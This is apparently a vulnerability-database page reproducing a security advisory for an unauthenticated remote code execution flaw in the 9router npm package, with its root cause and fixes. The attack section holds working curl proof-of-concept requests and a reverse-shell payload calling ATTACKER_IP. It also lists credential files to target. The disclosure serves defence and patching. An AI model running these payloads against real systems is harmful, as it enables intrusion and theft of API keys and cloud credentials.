9router CVE-2026-46339
CRITICALSeverity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process - with zero prerequisites and no credentials required.
The vulnerability exists because the Next.js middleware that enforces authentication (src/proxy.js) only guards 8 explicitly listed routes. The attack surface of /api/cli-tools/* and /api/mcp/* (40+ routes) receives no authentication whatsoever.
---
Root Cause
1. Middleware Allowlist Is Too Narrow
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
],
};Next.js middleware only runs on routes matching this list. Routes NOT listed - including /api/cli-tools/* and /api/mcp/* - bypass the dashboardGuard auth check entirely.
2. Unguarded Endpoint Accepts Arbitrary Command Registration
File: src/app/api/cli-tools/cowork-settings/route.js, lines 292-319
export async function POST(request) {
const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();
// ...
const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];
if (customPluginsArray.length > 0) {
const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge");
const stdioCustoms = customPluginsArray
.filter((p) => p.command)
.map((p) => ({
name: p.name,
command: p.command, // ← attacker-controlled, no validation
args: p.args || [], // ← attacker-controlled, no validation
}));
for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis
}
}The command and args fields from the attacker's JSON are stored verbatim into globalThis.__9routerCustomPlugins - a process-global Map that survives Hot Module Replacement.
File: src/lib/mcp/stdioSseBridge.js, lines 114-116
function registerCustomPlugin(def) {
getCustomStore().set(def.name, def); // no validation of command/args
}3. Unguarded SSE Endpoint Triggers spawn() with Stored Command
File: src/app/api/mcp/[plugin]/sse/route.js, lines 6-25
export async function GET(request, { params }) {
const { plugin } = await params;
if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });
const stream = new ReadableStream({
start(controller) {
sid = registerSession(plugin, send); // ← spawn() called here
},
});
return new Response(stream, { ... });
}File: src/lib/mcp/stdioSseBridge.js, line 138
const proc = spawn(plugin.command, plugin.args, {
stdio: ["pipe", "pipe", "pipe"],
env: process.env, // inherits full environment
});spawn() is called with shell: false (default), but since the attacker controls both plugin.command (the binary path) and plugin.args, this is equivalent to arbitrary command execution.
---
Attack Chain
Attacker (no credentials)
│
│ Step 1 - Register malicious plugin (POST, no auth)
▼
POST /api/cli-tools/cowork-settings
Content-Type: application/json
{
"baseUrl": "x", "apiKey": "x", "models": ["x"],
"customPlugins": [{
"name": "rev",
"command": "/bin/bash",
"args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
}]
}
← {"success":true, ...}
│ Step 2 - Trigger spawn() via SSE endpoint (GET, no auth)
▼
GET /api/mcp/rev/sse
← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."])
← Reverse shell connects to attackerTime to exploit from first request: < 2 seconds. Prerequisites: Network access to port 20128 (Docker default: 0.0.0.0:20128).
---
Proof of Concept
PoC 1 - File Write (no listener required)
# Step 1: Register payload
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
-H 'Content-Type: application/json' \
-d '{
"baseUrl":"x","apiKey":"x","models":["x"],
"customPlugins":[{
"name":"rce1",
"command":"/bin/sh",
"args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
}]
}'
# → {"success":true,...}
# Step 2: Trigger
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1
# Verify
cat /tmp/pwned.txtObserved output (on local test instance):
uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)
sondt23
VSOC-sondt23-L
Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/LinuxPoC 2 - Automated PoC script
# File write mode (for report)
python3 poc.py --target http://TARGET:20128 --mode file
# Reverse shell mode (interactive)
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444The script (poc.py) is included in this advisory.
---
Impact
| Category | Detail |
|---|---|
| Confidentiality | Full read access to server filesystem - API keys, TLS private keys, ~/.claude/settings.json (Anthropic tokens), AWS credentials |
| Integrity | Arbitrary file write, persistence via cron/systemd |
| Availability | Process termination, resource exhaustion |
| Lateral movement | docker group membership (confirmed in test) allows full container escape → host root |
| Scope | Remote, unauthenticated, network-accessible |
High-value exfiltration targets on a typical 9router host
~/.claude/settings.json-ANTHROPIC_AUTH_TOKEN~/.aws/credentials,~/.aws/sso/cache/*.json- AWS keys$DATA_DIR/db.sqlite- 9router local database (all stored API keys, provider configs)- TLS private keys managed by the MITM proxy (
src/mitm/)
---
Affected Versions
| Version | Affected | Notes |
|---|---|---|
| < v0.4.30 | No | cowork-settings and MCP SSE bridge did not exist |
| v0.4.30 | Yes | Introduced in commit 8f4d29c (2026-05-11) |
| v0.4.31 | Yes | |
| v0.4.32 | Yes | |
| v0.4.33 | Yes | Latest at time of disclosure |
The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.
---
Remediation
Fix 1 - Extend middleware matcher (minimal fix)
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
// ADD these:
"/api/cli-tools/:path*",
"/api/mcp/:path*",
],
};Fix 2 - Validate command in registerCustomPlugin (defense-in-depth)
File: src/lib/mcp/stdioSseBridge.js
const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]);
function registerCustomPlugin(def) {
const bin = def.command?.split("/").pop(); // basename only
if (!ALLOWED_MCP_COMMANDS.has(bin)) {
throw new Error(`Blocked: command '${def.command}' not in allowlist`);
}
getCustomStore().set(def.name, def);
}Fix 3 - Sanitize customPlugins at the API boundary
File: src/app/api/cli-tools/cowork-settings/route.js, line 312
const stdioCustoms = customPluginsArray
.filter((p) => p.command && typeof p.command === "string")
.filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check
.map((p) => ({
name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""), // sanitize name
command: p.command,
args: (p.args || []).map(String),
}));All three fixes should be applied together. Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.
---
AnalysisAI
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent attackers to execute arbitrary OS commands by chaining two unprotected API endpoints. The Next.js authentication middleware in src/proxy.js uses a narrow route allowlist that excludes /api/cli-tools/* and /api/mcp/*, letting an attacker register an arbitrary command via POST /api/cli-tools/cowork-settings and then trigger spawn() via GET /api/mcp/[plugin]/sse. Publicly available exploit code exists (PoC published with the GHSA advisory), with CVSS 10.0 reflecting maximum severity across confidentiality, integrity, and availability.
Technical ContextAI
9router is a Next.js-based local routing/proxy tool distributed via npm that includes an MCP (Model Context Protocol) stdio-to-SSE bridge added in v0.4.30. Authentication is enforced via a Next.js Edge middleware (src/proxy.js) whose 'matcher' config explicitly enumerates protected routes - a pattern that fails-open by default for any path not listed. The MCP bridge stores plugin definitions in a globalThis Map and later invokes Node's child_process.spawn() with attacker-supplied command and args; although shell: false is used, controlling both the binary path and argv is functionally equivalent to OS command injection, the root-cause class identified by CWE-78. CPE data identifies pkg:npm/9router as the affected component.
RemediationAI
Vendor-released patch: upgrade to 9router 0.4.37 or later, which addresses the issue per the GHSA-fhh6-4qxv-rpqj advisory (https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj). For operators unable to upgrade immediately, the advisory documents three layered code-level mitigations: extend the src/proxy.js middleware matcher to include '/api/cli-tools/:path*' and '/api/mcp/:path*' so the dashboardGuard runs on those routes, add an ALLOWED_MCP_COMMANDS allowlist (npx, node, uvx, python3, python) inside registerCustomPlugin in src/lib/mcp/stdioSseBridge.js, and sanitize the customPlugins payload at the API boundary in src/app/api/cli-tools/cowork-settings/route.js. As a network-level compensating control, restrict access to TCP/20128 to localhost or a trusted management VLAN (e.g., bind to 127.0.0.1 instead of 0.0.0.0, or front the service with an authenticating reverse proxy) - note this breaks any legitimate remote dashboard or MCP-bridge use. Hosts that were exposed before patching should be treated as compromised and have stored secrets rotated, particularly ~/.claude/settings.json (ANTHROPIC_AUTH_TOKEN), ~/.aws/credentials, and any provider API keys in $DATA_DIR/db.sqlite.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-78 – OS Command Injection
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-fhh6-4qxv-rpqj